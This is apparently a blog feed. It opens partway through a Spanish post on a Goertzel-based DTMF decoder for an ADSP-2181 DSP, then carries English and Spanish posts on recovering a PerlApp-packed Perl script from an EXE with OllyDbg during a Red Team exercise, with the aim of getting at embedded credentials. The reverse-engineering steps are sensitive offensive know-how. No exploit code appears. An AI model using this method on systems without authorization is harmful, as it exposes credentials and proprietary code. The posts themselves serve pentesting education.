<span class="n">mx0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span> <span class="n">i2</span> <span class="p">,</span><span class="n">m2</span><span class="p">);</span> <span class="p">{</span><span class="n">Obtener</span> <span class="n">q1</span> <span class="nb">dos</span> <span class="n">veces</span><span class="p">}</span>
<span class="n">my0</span><span class="o">=</span><span class="n">mx0</span><span class="p">;</span>
<span class="n">mx1</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span> <span class="n">i2</span> <span class="p">,</span><span class="n">m2</span><span class="p">);</span> <span class="p">{</span><span class="n">Obtener</span> <span class="n">q2</span> <span class="nb">dos</span> <span class="n">veces</span><span class="p">}</span>
<span class="n">my1</span><span class="o">=</span><span class="n">mx1</span><span class="p">;</span>
<span class="n">mr</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">mf</span><span class="o">=</span><span class="n">mx0</span><span class="o">*</span><span class="n">my1</span><span class="p">(</span> <span class="n">ss</span> <span class="p">);</span> <span class="p">{</span><span class="n">q1</span><span class="o">*</span><span class="n">q2</span><span class="p">}</span>
<span class="n">mr</span><span class="o">=</span><span class="n">mr</span> <span class="err">−</span> <span class="n">ar</span> <span class="err">∗</span><span class="n">mf</span><span class="p">(</span> <span class="n">ss</span> <span class="p">);</span> <span class="p">{</span><span class="err">−</span><span class="n">q1</span><span class="o">*</span><span class="n">q2</span><span class="o">*</span> <span class="n">coef</span><span class="p">}</span>
<span class="n">mr</span><span class="o">=</span><span class="n">mr</span><span class="o">+</span><span class="n">mx0</span><span class="o">*</span><span class="n">my0</span><span class="p">(</span> <span class="n">ss</span> <span class="p">);</span> <span class="p">{</span><span class="n">q1</span><span class="o">^</span><span class="mi">1</span><span class="err">−</span><span class="n">q1</span><span class="o">*</span><span class="n">q2</span><span class="o">*</span> <span class="n">coef</span><span class="p">}</span>
<span class="n">mr</span><span class="o">=</span><span class="n">mr</span><span class="o">+</span><span class="n">mx1</span><span class="o">*</span><span class="n">my1</span><span class="p">(</span> <span class="n">ss</span> <span class="p">);</span> <span class="p">{</span><span class="n">q2</span><span class="o">^</span><span class="mi">2</span><span class="o">+</span><span class="n">q1</span><span class="o">^</span><span class="mi">2</span><span class="err">−</span><span class="n">q1</span><span class="o">*</span><span class="n">q2</span><span class="o">*</span> <span class="n">coef</span><span class="p">}</span>
<span class="n">dm</span><span class="p">(</span> <span class="n">sqr1</span> <span class="p">)</span><span class="o">=</span><span class="n">mr1</span><span class="p">;</span>
</code></pre></div></div>
<p>Comparar con el umbral y encender el LED. Finalmente hay que reinicializar a 0 los valores.</p>
<div class="language-matlab highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">salida</span><span class="p">:</span>
<span class="n">ay0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span> <span class="n">umbral</span> <span class="p">);</span>
<span class="n">ax0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span> <span class="n">sqr1</span> <span class="p">);</span>
<span class="n">ar</span><span class="o">=</span><span class="n">ax0</span> <span class="err">−</span> <span class="n">ay0</span> <span class="p">;</span>
<span class="k">if</span> <span class="nb">lt</span> <span class="n">jump</span> <span class="n">apagado</span><span class="p">;</span>
<span class="n">ax0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span> <span class="n">sqr2</span> <span class="p">);</span>
<span class="n">ar</span><span class="o">=</span><span class="n">ax0</span> <span class="err">−</span> <span class="n">ay0</span><span class="p">;</span>
<span class="k">if</span> <span class="nb">lt</span> <span class="n">jump</span> <span class="n">apagado</span><span class="p">;</span>
<span class="nb">set</span> <span class="n">fl1</span><span class="p">;</span>
<span class="n">rts</span><span class="p">;</span>
<span class="n">apagado</span> <span class="p">:</span>
<span class="nb">reset</span> <span class="n">fl1</span><span class="p">;</span>
<span class="n">rts</span><span class="p">;</span>
</code></pre></div></div>
<h3 id="decodificador-dtmf">Decodificador DTMF</h3>
<p>El archivo ’<a href="https://github.com/metalamin/DSP-Goertzel/blob/master/goertzel.dsp">goertzel.dsp</a>’ consigue decodificar la marcación telefónica mediante la detección de 8 tonos correspondientes a la tabla DTMF . Para ello implementa el algoritmo de Goertzel sin el buffer circular pues necesita guardar 16 valores de q. Es posible implementarlo con buffers circulares pero la complejidad ha impedido que se pueda hacer en poco tiempo.</p>
<p>Se ha modificado el programa anterior para hacer los cálculos de los valores intermedios a cada muestra en un bucle para rellenar los 16 valores del vector.</p>
<div class="language-matlab highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cntr</span><span class="o">=</span><span class="n">tonos</span><span class="p">;</span> <span class="p">{</span><span class="n">Repetimos</span> <span class="n">para</span> <span class="n">cada</span> <span class="n">tono</span><span class="p">}</span>
<span class="n">do</span> <span class="n">parte1</span> <span class="n">until</span> <span class="n">ce</span><span class="p">;</span>
<span class="n">mx0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span><span class="n">i2</span><span class="p">,</span><span class="n">m1</span><span class="p">);</span>
<span class="n">my0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span><span class="n">i5</span><span class="p">,</span><span class="n">m4</span><span class="p">);</span> <span class="p">{</span><span class="n">Cargamos</span> <span class="n">q1</span> <span class="n">y</span> <span class="n">coeficiente</span><span class="p">}</span>
<span class="n">mr</span><span class="o">=</span><span class="n">mx0</span><span class="o">*</span><span class="n">my0</span><span class="p">(</span><span class="n">ss</span><span class="p">),</span> <span class="n">ay0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span><span class="n">i2</span><span class="p">,</span><span class="n">m3</span><span class="p">);</span>
<span class="p">{</span><span class="n">q1</span><span class="o">*</span><span class="n">coef</span><span class="p">,</span> <span class="n">obtener</span> <span class="n">q2</span><span class="p">}</span>
<span class="n">my0</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
<span class="n">mr</span><span class="o">=</span><span class="n">mr1</span><span class="o">*</span><span class="n">my0</span><span class="p">(</span><span class="n">ss</span><span class="p">);</span> <span class="p">{</span><span class="n">q1</span><span class="o">*</span><span class="mi">2</span><span class="o">*</span><span class="nb">cos</span><span class="p">(</span><span class="nb">alpha</span><span class="p">)}</span>
<span class="n">ar</span><span class="o">=</span><span class="n">mr0</span><span class="o">-</span><span class="n">ay0</span><span class="p">;</span> <span class="p">{</span><span class="n">q1</span><span class="o">*</span><span class="mi">2</span><span class="o">*</span><span class="n">coef</span> <span class="o">-</span> <span class="n">q2</span><span class="p">}</span>
<span class="n">ar</span><span class="o">=</span><span class="n">ar</span><span class="o">+</span><span class="n">ay1</span><span class="p">;</span> <span class="p">{</span><span class="n">q1</span><span class="o">*</span><span class="mi">2</span><span class="o">*</span><span class="n">coef</span> <span class="o">-</span> <span class="n">q2</span> <span class="o">+</span> <span class="n">entrada</span><span class="p">}</span>
<span class="n">dm</span><span class="p">(</span><span class="n">i2</span><span class="p">,</span><span class="n">m1</span><span class="p">)</span><span class="o">=</span><span class="n">ar</span><span class="p">;</span> <span class="p">{</span><span class="n">suma</span> <span class="o">-></span> <span class="n">q1</span><span class="p">}</span>
<span class="n">parte1</span><span class="p">:</span> <span class="n">dm</span><span class="p">(</span><span class="n">i2</span><span class="p">,</span><span class="n">m1</span><span class="p">)</span><span class="o">=</span><span class="n">mx0</span><span class="p">;</span> <span class="p">{</span><span class="n">q1</span> <span class="o">-></span> <span class="n">q2</span><span class="p">}</span>
</code></pre></div></div>
<p>Vemos que en este caso el código es mejorable pues en cada pasada mueve de sitio los valores en la memoria.</p>
<p>Luego se calculan los valores finales de la misma manera que el programa anterior y se guardan en un vector.</p>
<p>Finalmente para decodificar el número correspondiente, se hace mediante una serie de condiciones. Se ha obviado el caso de las combinaciones que no corresponden a números para facilitar la diferenciación en el osciloscopio.</p>
<div class="language-matlab highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">salida</span><span class="p">:</span>
<span class="n">ay0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span><span class="n">umbral</span><span class="p">);</span>
<span class="n">mx0</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="n">ax0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span><span class="n">sqr</span><span class="p">);</span>
<span class="n">ar</span><span class="o">=</span><span class="n">ax0</span> <span class="o">-</span> <span class="n">ay0</span><span class="p">;</span>
<span class="k">if</span> <span class="nb">ge</span> <span class="n">jump</span> <span class="n">fila0</span><span class="p">;</span>
<span class="n">ax0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span><span class="n">sqr</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
<span class="n">ar</span><span class="o">=</span><span class="n">ax0</span> <span class="o">-</span> <span class="n">ay0</span><span class="p">;</span>
<span class="k">if</span> <span class="nb">ge</span> <span class="n">jump</span> <span class="n">fila1</span><span class="p">;</span>
<span class="n">ax0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span><span class="n">sqr</span><span class="o">+</span><span class="mi">2</span><span class="p">);</span>
<span class="n">ar</span><span class="o">=</span><span class="n">ax0</span> <span class="o">-</span> <span class="n">ay0</span><span class="p">;</span>
<span class="k">if</span> <span class="nb">ge</span> <span class="n">jump</span> <span class="n">fila2</span><span class="p">;</span>
<span class="n">ax0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span><span class="n">sqr</span><span class="o">+</span><span class="mi">3</span><span class="p">);</span>
<span class="n">ar</span><span class="o">=</span><span class="n">ax0</span> <span class="o">-</span> <span class="n">ay0</span><span class="p">;</span>
<span class="k">if</span> <span class="nb">ge</span> <span class="n">jump</span> <span class="n">fila3</span><span class="p">;</span>
<span class="n">mx0</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="n">jump</span> <span class="n">sacaresul</span><span class="p">;</span>
<span class="n">rts</span><span class="p">;</span>
<span class="n">fila0</span><span class="p">:</span>
<span class="n">ax0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span><span class="n">sqr</span><span class="o">+</span><span class="mi">4</span><span class="p">);</span>
<span class="n">ar</span><span class="o">=</span><span class="n">ax0</span> <span class="o">-</span> <span class="n">ay0</span><span class="p">;</span>
<span class="n">mx0</span><span class="o">=</span><span class="mi">6400</span><span class="p">;</span> <span class="p">{</span><span class="n">Nivel</span> <span class="n">a</span> <span class="n">sacar</span> <span class="n">para</span> <span class="s1">'1'</span><span class="p">}</span>
<span class="k">if</span> <span class="nb">ge</span> <span class="n">jump</span> <span class="n">sacaresul</span><span class="p">;</span>
<span class="n">ax0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span><span class="n">sqr</span><span class="o">+</span><span class="mi">5</span><span class="p">);</span>
<span class="n">ar</span><span class="o">=</span><span class="n">ax0</span> <span class="o">-</span> <span class="n">ay0</span><span class="p">;</span>
<span class="n">mx0</span><span class="o">=</span><span class="mi">9600</span><span class="p">;</span> <span class="p">{</span><span class="n">Nivel</span> <span class="n">a</span> <span class="n">sacar</span> <span class="n">para</span> <span class="s1">'2'</span><span class="p">}</span>
<span class="k">if</span> <span class="nb">ge</span> <span class="n">jump</span> <span class="n">sacaresul</span><span class="p">;</span>
<span class="n">ax0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span><span class="n">sqr</span><span class="o">+</span><span class="mi">6</span><span class="p">);</span>
<span class="n">ar</span><span class="o">=</span><span class="n">ax0</span> <span class="o">-</span> <span class="n">ay0</span><span class="p">;</span>
<span class="n">mx0</span><span class="o">=</span><span class="mi">12800</span><span class="p">;</span> <span class="p">{</span><span class="n">Nivel</span> <span class="n">a</span> <span class="n">sacar</span> <span class="n">para</span> <span class="s1">'3'</span><span class="p">}</span>
<span class="k">if</span> <span class="nb">ge</span> <span class="n">jump</span> <span class="n">sacaresul</span><span class="p">;</span>
<span class="n">ax0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span><span class="n">sqr</span><span class="o">+</span><span class="mi">7</span><span class="p">);</span>
<span class="n">ar</span><span class="o">=</span><span class="n">ax0</span> <span class="o">-</span> <span class="n">ay0</span><span class="p">;</span>
<span class="n">mx0</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="k">if</span> <span class="nb">ge</span> <span class="n">jump</span> <span class="n">sacaresul</span><span class="p">;</span>
<span class="n">mx0</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="n">jump</span> <span class="n">sacaresul</span><span class="p">;</span>
<span class="k">...</span><span class="c">.</span>
<span class="k">...</span><span class="c">.</span>
<span class="n">sacaresul</span><span class="p">:</span>
<span class="n">dm</span><span class="p">(</span><span class="n">cambia</span><span class="p">)</span><span class="o">=</span><span class="n">mx0</span><span class="p">;</span>
<span class="n">rts</span><span class="p">;</span>
</code></pre></div></div>
<h3 id="problemas-encontrados">Problemas encontrados</h3>
<p>No se puede hacer debug y ver los valores intermedios. Aunque tenemos algunos métodos de feedback que consisten en un led y la salida analógica. Pero la salida no puede ser constante por lo que hay que hacer pequeños ’hacks’ para saltar esta limitación. El truco consiste en alternar el valor entre positivo y negativo para evitar la continua.</p>
<p>En caso de que deseamos más velocidad, podemos usar una velocidad de muestreo de 48kHz y multiplicar los tonos buscados por 6.</p>
<p>El primer problema encontrado fue al escalar de manera errónea la entrada, entonces siempre se obtienen datos que parecen aleatorios cerca de el tono buscado. Sólo al alejarse lo suficiente se obtenía una respuesta nula. Fue debido al cálculo del escalado necesario tomando la primera parte como un filtro normal.</p>
<p>Luego durante alguna modificación se declaró de manera errónea una variable en el espacio de programa pero se cargaba esa variable desde la memoria de datos. Por lo visto el compilador no se queja ni avisa de este desliz.</p>
<p>Finalmente, al usar el puntero i3 el programa se colgaba de manera que había que apagar el DSP para poder reinicializarlo. Eso es porque el programa base ya usa ese puntero y hay que evitar reutilizarlo.</p>
<h2 id="resultado">Resultado</h2>
<p>Se ha hecho la prueba con tonos desde el generador de de señales usando una modulación AM para emular los dos tonos y luego conectando la entrada a la salida audio del PC. El detector de DTMF funciona, incluso al bajar el volumen y con música reproduciéndose al mismo tiempo.</p>
<p>Para ver la salida en el osciloscopio se ha puesto el nivel de GND en la parte baja de la pantalla de manera que si no se detecta ningún numero no se vea nada.</p>
<p>Luego a cada número, del 0 al 9, corresponde un nivel de manera creciente. Aprovechamos toda la pantalla des oscilloscopio para diferenciar fácilmente los números. Vemos unos ejemplos:</p>
<figure class="third ">
<a href="/assets/images/DTMF-DSP/nada.jpg" title="Salida correspondiente a ’Nada Detectado’">
<img src="/assets/images/DTMF-DSP/nada.jpg" alt="Salida correspondiente a ’Nada Detectado’" />
</a>
<a href="/assets/images/DTMF-DSP/0.jpg" title="Salida correspondiente al ’0’">
<img src="/assets/images/DTMF-DSP/0.jpg" alt="Salida correspondiente al ’0’" />
</a>
<a href="/assets/images/DTMF-DSP/5.jpg" title="Salida correspondiente al ’5’">
<img src="/assets/images/DTMF-DSP/5.jpg" alt="Salida correspondiente al ’5’" />
</a>
<a href="/assets/images/DTMF-DSP/9.jpg" title="Salida correspondiente al ’9’">
<img src="/assets/images/DTMF-DSP/9.jpg" alt="Salida correspondiente al ’9’" />
</a>
</figure>
<h2 id="posibles-mejoras">Posibles mejoras</h2>
<p>El código no esta optimizado, se puede mejorar haciendo uso de memoria de programa y de datos de manera alterna, luego haciendo uso de buffers circulares.</p>
<p>Podemos incluir detección de tonos erróneos (2 tonos columna o 2 tonos fila) para encender el LED como error y mejorar el algoritmo de decodificación del numero</p>Amine Taouirsahttp://metalamin.github.ioDetector de tonos DTMF con algoritmo de Goertzel en ADSP-2181Recover Perl from an EXE2017-04-10T00:00:00+02:002017-04-10T00:00:00+02:00https://metalamin.github.io/Perl-from-EXE-EN<p>Some time ago, during one of my Red Team exercises, I came across a Perl in the form of a Windows executable. This one is used to perform a series of operations against the domain and in order to authenticate it seems to generate credentials in memory from an encrypted key file. How can I get those credentials back?</p>
<p>One way might have been to mount a fake <a href="https://github.com/SpiderLabs/Responder">Responder</a>-style domain controller. But… Why make it easy? Also, I was curious to find out what encryption method is used, in case I would find something similar later on during the pentest.</p>
<h2 id="executable-analysis">Executable analysis</h2>
<p>A brief analysis with strings shows us that it is a Perl script packed in an EXE executable. In particular, it appears that <strong>ActiveState PerlApp</strong> was used for this purpose.</p>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/Perl-from-EXE/strings.png" alt="" />
<figcaption style="text-align: center">strings decode.exe | grep -i perl</figcaption>
</figure>
<p>So far all the Perl to EXE packers I have found have to save the script clearly before they can launch the interpreter. In some cases they are stored in a file and in others they remain in memory. In the sample we’re interested in, he unpacks it in memory. Let’s look at a way to retrieve it using <a href="http://www.ollydbg.de/">OllyDbg</a>.</p>
<h2 id="recovering-the-perl">Recovering the Perl</h2>
<p>We load the executable into OllyDbg. But before launching the execution we will put a breakpoint somewhere after the script is loaded.
To do this we first show the text strings.</p>
<figure class="half ">
<a href="/assets/images/Perl-from-EXE/referenced.png" title="Referenced strings">
<img src="/assets/images/Perl-from-EXE/referenced.png" alt="Referenced strings" />
</a>
<a href="/assets/images/Perl-from-EXE/strings_2.png" title="Strings">
<img src="/assets/images/Perl-from-EXE/strings_2.png" alt="Strings" />
</a>
</figure>
<p>We know that after unpacking the script, the executable has to mount the string for the Perl interpreter call. Let’s look for strings that look like arguments for launching the Perl interpreter and stop the execution at that point. We choose some of the chains and set the breakpoint by pressing <strong>F2</strong>.</p>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/Perl-from-EXE/strings_4.png" alt="" />
<figcaption style="text-align: center">Parameters srings</figcaption>
</figure>
<p>We are now ready to start the program by pressing <strong>F9</strong>.</p>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/Perl-from-EXE/stop.png" alt="" />
<figcaption style="text-align: center">Stopped execution</figcaption>
</figure>
<p>Once we have stopped at our breakpoint, we open the Memory Map by pressing <strong>“Alt+M”</strong>.</p>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/Perl-from-EXE/memory.png" alt="" />
<figcaption style="text-align: center">Memory Map</figcaption>
</figure>
<p>With the memory window open we do a search (<strong>Ctrl+B</strong>) for strings that can contain the script we are looking for. For example, calls to perl libraries that begin with <strong>“use”</strong> (note the space at the end).</p>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/Perl-from-EXE/busqueda.png" alt="" />
<figcaption style="text-align: center">String search</figcaption>
</figure>
<p>We already got the script in memory and we know where it is. All we have to do is save this memory segment in a file and store the script.</p>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/Perl-from-EXE/backup.png" alt="" />
<figcaption style="text-align: center">Backup</figcaption>
</figure>
<p>And with this we have recovered the entire script including the programmer’s comments.</p>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/Perl-from-EXE/recovered.png" alt="" />
<figcaption style="text-align: center">Script Perl recovered</figcaption>
</figure>
<p>Surely we could have done it more elegantly or more quickly, but this is the one I thought of at the time and wanted to share.</p>Amine Taouirsahttp://metalamin.github.ioHow to recover Perl packaged in EXE with PerlApp from ActiveStateRecuperar un Perl desde un EXE (ES)2017-04-09T00:00:00+02:002017-04-09T00:00:00+02:00https://metalamin.github.io/Perl-desde-EXE-ES<p>Hace tiempo, durante uno de mis ejercicios de Red Team, me encontré con un Perl en forma de ejecutable de Windows. Éste sirve para hacer una serie de operaciones contra el dominio y para poder autenticar parece que genera en memoria las credenciales desde un archivo de claves cifrado. ¿Cómo puedo recuperar esas credenciales?</p>
<p>Una manera podría haber sido montar un controlador de dominio falso estilo <a href="https://github.com/SpiderLabs/Responder">Responder</a>. Pero… ¿Por qué hacerlo fácil? Además, tenía curiosidad en averiguar que método de cifrado se usa, por si me volvía a encontrar algo parecido más adelante durante el pentest.</p>
<h2 id="análisis-del-ejecutable">Análisis del ejecutable</h2>
<p>Un breve análisis con strings nos muestra que se trata de un script en Perl empaquetado en un ejecutable EXE. En concreto, parece que se utilizó el <strong>PerlApp de ActiveState</strong> para tal fin.</p>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/Perl-from-EXE/strings.png" alt="" />
<figcaption style="text-align: center">strings decode.exe | grep -i perl</figcaption>
</figure>
<p>Hasta el momento todos los packers de Perl a EXE que me he encontrado tienen que guardar en claro el script antes de poder lanzar el interpretador. En algunos casos lo guardan en un archivo y en otros se quedan en memoria. En la muestra que nos interesa lo desempaqueta en memoria. Vamos a ver una menara de recuperarlo usando el <a href="http://www.ollydbg.de/">OllyDbg</a>.</p>
<h2 id="recuperando-el-perl">Recuperando el Perl</h2>
<p>Cargamos el ejecutable en el OllyDbg. Pero antes de lanzar la ejecución vamos a poner un breakpoint en algún punto después de la carga del script.
Para ello primero mostramos las cadenas de texto.</p>
<figure class="half ">
<a href="/assets/images/Perl-from-EXE/referenced.png" title="Referenced strings">
<img src="/assets/images/Perl-from-EXE/referenced.png" alt="Referenced strings" />
</a>
<a href="/assets/images/Perl-from-EXE/strings_2.png" title="Strings">
<img src="/assets/images/Perl-from-EXE/strings_2.png" alt="Strings" />
</a>
</figure>
<p>Sabemos que después de desempaquetar el script, el ejecutable tiene que montar la cadena para la llamada del interprete Perl. Vamos a buscar las cadenas que parezcan argumentos para el lanzamiento del interprete de Perl y parar la ejecución en ese punto. Elegimos algunas de las cadenas y fijamos el breakpoint apretando <strong>F2</strong>.</p>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/Perl-from-EXE/strings_4.png" alt="" />
<figcaption style="text-align: center">Strings de parámetros</figcaption>
</figure>
<p>Ya estamos listos para arrancar el programa apretando <strong>F9</strong>.</p>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/Perl-from-EXE/stop.png" alt="" />
<figcaption style="text-align: center">Ejecución parada</figcaption>
</figure>
<p>Una vez parado en nuestro breakpoint, abrimos el Memory Map pulsando <strong>“Alt+M”</strong>.</p>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/Perl-from-EXE/memory.png" alt="" />
<figcaption style="text-align: center">Memory Map</figcaption>
</figure>
<p>Con la ventana de memoria abierta hacemos una búsqueda (<strong>Ctrl+B</strong>) de cadenas que puedan contener el script que buscamos. Por ejemplo, las llamadas a las librerías en perl que empiezan por <strong>“use”</strong> (nótese el espacio al final).</p>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/Perl-from-EXE/busqueda.png" alt="" />
<figcaption style="text-align: center">Búsqueda de cadenas</figcaption>
</figure>
<p>Ya obtenemos el script en memoria y sabemos donde se encuentra. Tan solo queda guardar ese segmento de memoria en un archivo y quedarnos con el script.</p>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/Perl-from-EXE/backup.png" alt="" />
<figcaption style="text-align: center">Backup</figcaption>
</figure>
<p>Y con esto hemos recuperado el script entero incluidos los comentarios del programador.</p>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/Perl-from-EXE/recovered.png" alt="" />
<figcaption style="text-align: center">Script Perl recuperado</figcaption>
</figure>
<p>Seguramente podríamos haberlo hecho de manera más elegante o más rápida, pero ésta es la que se me ocurrió en el momento y quise compartir.</p>Amine Taouirsahttp://metalamin.github.ioComo recuperar Perl empaquetado en EXE con PerlApp de ActiveState